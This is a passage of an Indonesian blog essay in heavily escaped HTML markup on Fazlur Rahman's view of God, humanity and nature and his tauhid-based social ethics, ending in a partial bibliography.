&lt;i&gt;al-Muhith&lt;/i&gt; seringkali ditafsirkan sebagai yang panteistik. Misalnya Ibn al-Arabi mengumpamakan Tuhan dengan cahaya matahari dalam menjelaskan hubungan keterkaitan antara Tuhan dan Alam.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-indent: 36pt; line-height: 150%; text-align: justify; color: rgb(102, 102, 204);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FI&quot;&gt;Sudah merupakan anggapan umum bahwa Tuhan dalam Islam adalah transenden secara mutlak, hal ini terbukti dengan adanya penekanan tegas yang diberikan Islam terhadap pengesaan Tuhan, keagunganNya, kemuliaanNya, dan lain-lain.&lt;a name=&quot;_ftnref17&quot;&gt;&lt;/a&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-create.g?blogID=2958933673326428512#_ftn6&quot; name=&quot;_ftnref6&quot; title=&quot;&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span lang=&quot;FI&quot;&gt;[6]&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; Akan tetapi, lanjut Rahman, gambaran semacam ini tidak muncul dari al-Qur`an, melainkan dari perkembangan teologi Islam belakangan.&lt;a name=&quot;_ftnref18&quot;&gt;&lt;/a&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-create.g?blogID=2958933673326428512#_ftn7&quot; name=&quot;_ftnref7&quot; title=&quot;&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span lang=&quot;FI&quot;&gt;[7]&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style=&quot;&quot; lang=&quot;FI&quot;&gt; Tentu saja imanensi Tuhan ini sedikit pun tidak berarti perbuatan-perbuatn yang dilakukan oleh alam atau manusia secara nyata dilakukan oleh Tuhan: Tuhan bukanlah saingan atau pengganti bagi manusia atau  agen-agen alam dalam menghasilkan efek-efek, dan Dia tidak pula campur tangan dalam proses kerja mereka.&lt;a name=&quot;_ftnref19&quot;&gt;&lt;/a&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-create.g?blogID=2958933673326428512#_ftn8&quot; name=&quot;_ftnref8&quot; title=&quot;&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span lang=&quot;FI&quot;&gt;[8]&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; Hukum alam adalah bagian dari perilakuNya (&lt;i&gt;sunnah)&lt;/i&gt;.&lt;a name=&quot;_ftnref20&quot;&gt;&lt;/a&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-create.g?blogID=2958933673326428512#_ftn9&quot; name=&quot;_ftnref9&quot; title=&quot;&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span lang=&quot;FI&quot;&gt;[9]&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-indent: 36pt; line-height: 150%; text-align: justify; color: rgb(102, 102, 204);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FI&quot;&gt;Dari beberapa pernyataan dan logika berpikirnya, Rahman dapat digolongkan kepada orang yang percaya kepada hukum alam, hukum sebab-akibat. Bahwa alam memiliki hukumnya sendiri tanpa adanya campur tangan Tuhan secara langsung. Tuhan hanya berhubungan dengan alam dalam arti hanya sebatas hukum-hukumnya. Senada dengan ini, Ibnu Sina, misalnya, berpendapat bahwa Tuhan hanya berhubungan dengan akal pertama dan Tuhan tidak berhubungan dengan alam materi yang dihasilkan akal ke sepuluh.&lt;a name=&quot;_ftnref21&quot;&gt;&lt;/a&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-create.g?blogID=2958933673326428512#_ftn10&quot; name=&quot;_ftnref10&quot; title=&quot;&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span lang=&quot;FI&quot;&gt;[10]&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-indent: 36pt; line-height: 150%; text-align: justify; color: rgb(102, 102, 204);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FI&quot;&gt;Sedangkan manusia diciptakan Tuhan degan maksud turut merealisir tujuanNya yang mulia tadi, tujuan kebaikan. Manusia sebagaimana disinyalir al-Qur`an memiliki dua kutub ekstrim yang saling berlawanan. Kutub pertama adalah kesombongan. Karena manusia memiliki kemampuan dibandingkan makhluk lain. Kutub kedua adalah keputusasaan. Pada kutub pertama manusia bebas berbuat apa saja yang dikehendakinya lewat potensi yang diberikan Tuhan. Manusi berhak dan bebas menentukan pilihannya. Dari sini manusia sering berlaku sombong dan angkuh. Akibat keangkuhan dan kesombongannya, akhirnya manusia jatuh pada kutub kedua yakni keputusasaan  dan akhirnya ia tidak merasa berharga sama sekali. Kutub pertma akan menghasilkan optimisme yang boleh jadi berlebihan, sedangkan kutub kedua menghasilkan sikap pesimis yang juga berlebihan. Sikap optimisme yang berlebihan pada akhirnya melahirkan sikap sombong dan angkuh, sedangkan sikap merusak diri, putus asa, keluh kesah, adalah titik balik dari sikap optimisme berlebihan. Kedua kutub saling berlawanan ini digambarkan oleh al-Qur`an dengan “setan”. kedua kutub ini merupakan titik &lt;i&gt;kufr&lt;/i&gt;, hidup tanpa harapan dan hidup yang tanpa kerendahan hati.&lt;a name=&quot;_ftnref22&quot;&gt;&lt;/a&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-create.g?blogID=2958933673326428512#_ftn11&quot; name=&quot;_ftnref11&quot; title=&quot;&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span lang=&quot;FI&quot;&gt;[11]&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style=&quot;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-indent: 36pt; line-height: 150%; text-align: justify; color: rgb(102, 102, 204);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IT&quot;&gt;Di sinilah al-Qur`an berperan. Al-Qur`an diturunkan dengan tujuannya yang utama adalah menciptakan dan mempertahankan sikap tengah di antara dua ekstrim ini dalam diri manusia.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-indent: 36pt; line-height: 150%; text-align: justify; color: rgb(102, 102, 204);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IT&quot;&gt;Di samping manusia diberi tugas dalam rangka keseluruhan dari penciptaanNya, ia juga dituntut agar selalu patuh kepada Tuhan. Di sini Tuhan memberikan daya intelegensi yang tinggi kepada manusia. Dengan akal manusia membedakan yang baik dan yang buruk. Karena itu Tuhan memberikan derajat yang paling tinggi kepada manusia dibandingkan dengan makhluk lain. Di antara makhluk, manusialah yang dilengkapi dengan moral. Karena itu manusia, dalam hidupnya, penuh dengan perjuangan, baik perjuangan untuk merealisasikan tujuan penciptaan Tuhan-- hubungannya dengan alam, maupun pada level pribadi. Yaitu bagaimana manusia dituntut untuk  berjuang, secara psikologis mempertahankan dirinya agar tidak terjerumus kepada kedua kutub ekstrim di atas. Maka Tuhan, dalam arti fungsional, sangat dibutuhkan. Dalam rangka pemenuhan hasrat psikologis, hemat penulis, al-Qur`an seringkali menegaskan, misalnya, “jika kalian menolong Tuhan, maka niscaya Tuhan akan menjadi penolongmu”&lt;a name=&quot;_ftnref23&quot;&gt;&lt;/a&gt;,&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-create.g?blogID=2958933673326428512#_ftn12&quot; name=&quot;_ftnref12&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span lang=&quot;IT&quot;&gt;[12]&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; “Tuhan beserta orang-orang yang sabar”&lt;a name=&quot;_ftnref24&quot;&gt;&lt;/a&gt;,&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-create.g?blogID=2958933673326428512#_ftn13&quot; name=&quot;_ftnref13&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span lang=&quot;IT&quot;&gt;[13]&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; berdoalah kepadaKu, niscaya aku jawab (kabulkan) doamu”&lt;a name=&quot;_ftnref25&quot;&gt;&lt;/a&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-create.g?blogID=2958933673326428512#_ftn14&quot; name=&quot;_ftnref14&quot; title=&quot;&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span lang=&quot;IT&quot;&gt;[14]&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; dan lain-lain.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-indent: 36pt; line-height: 150%; text-align: justify; color: rgb(102, 102, 204);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FI&quot;&gt;Jadi hubungan Tuhan, manusia, dan alam pada metafisika Rahman tidak dapat dipisahkan satu sama lain. Hubungan yang jelas adalah bahwa manusia diberi tugas oleh Tuhan untuk mengelola alam semesta ini dengan tujuan kebaikan dan kesempurnaan dari seluruh rencana Tuhan dan keseluruhan penciptaannya. Hubungan dengan Tuhan bahwa manusia merupakan sebagian dariNya, dalam arti bahwa Tuhan telah meniupkan ruhNya kedalam diri manusia.&lt;a name=&quot;_ftnref26&quot;&gt;&lt;/a&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-create.g?blogID=2958933673326428512#_ftn15&quot; name=&quot;_ftnref15&quot; title=&quot;&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span lang=&quot;FI&quot;&gt;[15]&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt; &lt;span style=&quot;&quot; lang=&quot;FI&quot;&gt;Namun, Tuhan tetap menjadi makrokosmos (alam besar) dan manusia adalah mikrokosmos (alam kecil). &lt;/span&gt;&lt;span style=&quot;&quot; lang=&quot;IT&quot;&gt;Alam kecil ini senantiasa berhubungan secara spiritual dengan alam besar, setidaknya pada level filosofis. &lt;/span&gt;&lt;span style=&quot;&quot; lang=&quot;FI&quot;&gt;Karena itu, manusia harus meniru Tuhan di dalam segala sikapnya, mewujudkan kebaikan-kebaikan. Tugas ini, suka atau pun tidak suka, harus  dipikulnyaa. Manusia mengemban amanah sebagai khalifah di muka bumi ini (&lt;i&gt;khafilah fi al-ard&lt;/i&gt;). Hubungan manusia dengan alam adalah bahwa manusia memanfaatkan alam demi terciptanya kebaikan-kebaikan itu dan dalam rangka beribadah kepadaNya. Rahman menyebut hal demikian sebagai ‘&lt;i&gt;amr&lt;/i&gt;’ atau perintah Tuhan yang harus dilaksanakan oleh manusia. Jadi alam berfungsi sebagai fasilitas dalam rangka tujuan tadi. Dengan demikian dalam Islam manusia menjadi “pengelola”, bukan “eksploitator” seperti pada &lt;i&gt;weltanchaung&lt;/i&gt; barat. Demikian Rahman&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; text-align: justify; color: rgb(102, 102, 204);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;b&gt;&lt;span style=&quot;&quot; lang=&quot;FI&quot;&gt; C. Imanensi Tauhid &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-indent: 27pt; line-height: 150%; text-align: justify; color: rgb(102, 102, 204);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FI&quot;&gt;  Berangkat dari konsepsi metafisik, pandangannya mengenai tauhid jelas tidak dapat dinafikan begitu saja. Bagi Rahman Tauhid tidak hanya berbicara tentang keesaan Tuhan, tapi juga berbicara tentang bagaimana manusia berperilaku dan bertindak. Manusia merupakan cermin dari Tuhan atau khalifah Tuhan di bumi, karena itu ia harus mewujudkan misiNya di bumi. Ketika ia melakukan interaksi dengan orang lain, maka unsur Tuhan serta nilai-nilai teologis harus dijabarkan. Pandangan ini amat berpengaruh pada pemahamannya tentang etika sosial. Sebagai konsekuensinya, maka jika seseorang merasa lebih tinggi atau lebih hebat, lalu ia dapat melakukan tindakan apa saja terhadap orang lain, adalah pandangan  keliru. Sebab di sisi Tuhanlah manusia boleh dan bahkan harus patuh dan tunduk. Makna dari ketundukan dan kepasrahan inilah yang disebut &lt;i&gt;al-Islam. &lt;/i&gt;Hal ini menjadi inti ajaran Agama Islam. Selain itu, sikap tunduk kepada Tuhan dalam wujudnya yang lebih nyata adalah memahami, meneliti, dan kemudian melestarikan alam yang dilengkapi dengan hukumnya.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-indent: 36pt; line-height: 150%; text-align: justify; color: rgb(102, 102, 204);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FI&quot;&gt;Di sini Rahman mengidealkan sebuah masyarakat yang di dalamnya terdapat keadilan, kesejahteraan, kedamaian, serta perilaku masyarakat yang dilandasi nilai-nilai moral yang tinggi-- dalam hal ini nilai-nilai tauhid sebagaimana ditunjukkan al-Qur`an.&lt;a name=&quot;_ftnref27&quot;&gt;&lt;/a&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-create.g?blogID=2958933673326428512#_ftn16&quot; name=&quot;_ftnref16&quot; title=&quot;&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span lang=&quot;FI&quot;&gt;[16]&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; Baginya, nilai-nilai universal yang menjadi pesan al-Qur`an itu hendaknya menjadi acuan dan basis etis sebuah masyarakat. Karena itu, seluruh manusia tanpa dibatasi oleh atribut tertentu: golongan, suku bangsa, ras, bahasa dan lain-lain, harus menjunjung tinggi nilai-nilai luhur dan universal itu: “keadilan”, “kebaikan”, “persamaan”, (merasa sama satu sama lain, tidak merasa lebih tinggi, lebih super dan lain sebagainya), kejujuran dan lain-lain. &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-indent: 36pt; line-height: 150%; text-align: justify; color: rgb(102, 102, 204);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FI&quot;&gt;Makna universalitas yang ditafsirkan Rahman, nampak berbeda dengan golonan muslim tradisionalis ketika memandang Islam yang universal itu. Muslim tradisionalis selalu merujuk kepada apa yang telah dilakukan nabi dan para sahabatnya ketika berada di Madinah, yakni dalam bentuk seperangkat aturan formalistik. Artinya apa yang telah dipraktikkan nabi dan para sahabat pada zamannya dicoba diterapkan pada masa kini dengan, seringkali, tanpa kompromi. Makna universal di sini bagi Rahman tidaklah demikian adanya. Baginya, makna universal dalam Islam harus disesuaikan dengan kondisi di mana konsep dan gagasan itu hendak diterapkan. Dalam hal ini tidaklah lalu berarti pengikisan nilai-nilai transenden yang terdapat di dalam sebuah kitab suci. Rahman tampak yakin betul bahwa makna al-Qur`an tidaklah dapat diambil atau diwujudkan dengan cara yang pertama tadi. Jadi bagi Rahman—lagi-lagi karena pengaruh dari metodologi historisnya—semangat al-Qu`an itulah yang terpenting. Karena al-Qur`an, atau sebut saja Tuhan, tidak mungkin menurunkan suatu aturan untuk manusia tanpa tujuan tertentu. Karena tentu jika al-Quran turun dengan tidak membawa pesan dan maksud tertentu, perbuatan Tuhan menjadi sia-sia (‘&lt;i&gt;abatsan&lt;/i&gt;), sedangkan jelas Tuhan sendiri menyatakan dalam firmannya, bahwa Tuhan menjadikan langit dan bumi dan juga segala ciptaannya yang lain dengan sungguh-sunggh dan tidak main-main. Diciptakan seekor nyamuk yang kecil dan rendah sekalipun.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-indent: 36pt; line-height: 150%; text-align: justify; color: rgb(102, 102, 204);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FI&quot;&gt;Dengan sikap tauhid yang dinamis ini, maka jelas manusia akan hidup optimis, tanpa berlebihan. Sikap optimis demikian dapat melahirkan sikap rendah hati dan tidak mudah berputus asa. Karena itu, seseorang akan berada pada jalan tengah dan terhindar dari dua kutub ekstrim seperti pada konsep metafisiknya pada awal tulisan ini. Karena dua kutub ekstrim itulah yang menyebabkan manusia jatuh pada “kekufuran”. &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-indent: 36pt; line-height: 150%; text-align: justify; color: rgb(102, 102, 204);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FI&quot;&gt;Di dalam konsep tauhid ini, Rahman mengidealkan terciptanya hubungan antara manusia dengan Tuhan, hubungan manusia dengan manusia yang lain, dan hubungan manusia dengan alam sekitarnya secara harmonis demi mewujudkan dan merealisasikan tujuan dari penciptaan ini (&lt;i&gt;alhikmah&lt;/i&gt;). Landasan tauhid ini menjadi dasar dan prinsip universalitas Islam yang kemudian sangat berpengruh pada prinsip ijtihad Rahman. &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-indent: 36pt; line-height: 150%; text-align: justify; color: rgb(102, 102, 204);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FI&quot;&gt;Selain itu, banyak ayat al-Qur`an yang senada dengan semangat persatuan, egalitarianisme, dan keadilan sosial. Hal ini mengandaikan Islam menerima-- sekalipun secara rinci tidak dijelasksn—gagasan dan ide demokrasi. &lt;/span&gt;&lt;span style=&quot;&quot; lang=&quot;IT&quot;&gt;Ide demokrasi ini pun telah diisyaratkan (&lt;i&gt;implied&lt;/i&gt;) al-Qur`an. Sebagai indikator misalnya, beberapa ayat menyebut tentang musyawarah (&lt;i&gt;syura&lt;/i&gt;`), perintah berlaku adil terhadap siapa saja, bahkan terhadap musuh atau orang yang sangat kita benci sekalipun. Nah, jelaslah kesatuan (&lt;i&gt;tawhid&lt;/i&gt;) bagi Rahman bukanlah semata-mata bagaimana manusia memahami Tuhan itu Esa, melainkan lebih jauh dari itu juga harus berimplikasi positif dan responsif pada persoalan sosial dan politik serta dapat menjawab berbagai problem kemanusiaan lainnya. Karena itu ‘kedilan’, demokrasi, egalitarianisme, keterbukaan dan sebagainya, harus menjadi bagian dari, dan berada di bawah pancaran Tauhid. Dengan demikian maka segala tindakan manusia selalu berada pada koridor dan rel tauhid sehingga, nilai-nilai ilahi dapat dimanifestasikan dalam kehidupan seorang muslim. &lt;/span&gt;&lt;span style=&quot;&quot; lang=&quot;FI&quot;&gt;Inilah yang menjadi salah satu misi musia sebagai khalifah Tuhan di bumi.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-indent: 36pt; line-height: 150%; text-align: justify; color: rgb(102, 102, 204);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FI&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-left: 9.35pt; text-indent: 26.65pt; line-height: 150%; text-align: justify; color: rgb(102, 102, 204);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;o:p&gt; &lt;/o:p&gt;DAFTAR PUSTAKA&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; text-align: justify; color: rgb(102, 102, 204);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt; &lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-left: 45pt; text-indent: -45pt; line-height: 150%; text-align: justify; color: rgb(102, 102, 204);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;Amal, Taufik Adnan, (penyunting), &lt;i&gt;Metode dan Alternatif neo-modernisme Islam Fazlur Rahman,&lt;/i&gt; (Bandung: Mizan, 1991), Cet.iv.&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-left: 45pt; text-indent: -45pt; line-height: 150%; text-align: justify; color: rgb(102, 102, 204);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;i&gt;Islamika&lt;/i&gt;, (&lt;i&gt;Jurnal Dialog Pemikiran Islam&lt;/i&gt;), Bandung, Vol 111, No.2, 1992.&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-left: 45pt; text-indent: -45pt; line-height: 150%; text-align: justify; color: rgb(102, 102, 204);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IT&quot;&gt;Maarif, syafi’i, &lt;i&gt;Peta Bumi Intelektualisme Islam di Indonesia&lt;/i&gt;, (Bandung: Mizan, 1994), Cet.2&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-left: 45pt; text-indent: -45pt; line-height: 150%; text-align: justify; color: rgb(102, 102, 204);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IT&quot;&gt;Nasution, Harun, &lt;i&gt;Falsafat Agama&lt;/i&gt;, (Jakarta: Bulan Bintang, 1989), Cet.7.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-left: 45pt; text-indent: -45pt; line-height: 150%; text-align: justify; color: rgb(102, 102, 204);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IT&quot;&gt;----------, &lt;i&gt;Teologi Islam Aliran-aliran Sejarah Analisa Perbandingan&lt;/i&gt;, (Jakarta: UI-Press, 1986), Cet., ke-5.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-left: 45pt; text-indent: -45pt; line-height: 150%; text-align: justify; color: rgb(102, 102, 204);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IT&quot;&gt;----------, &lt;i&gt;Muhammad Abduh dan Teologi Rasional Mu’tazilah&lt;/i&gt;, (Jakarta: UI-Press, 1987), Cet. ke-1.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div 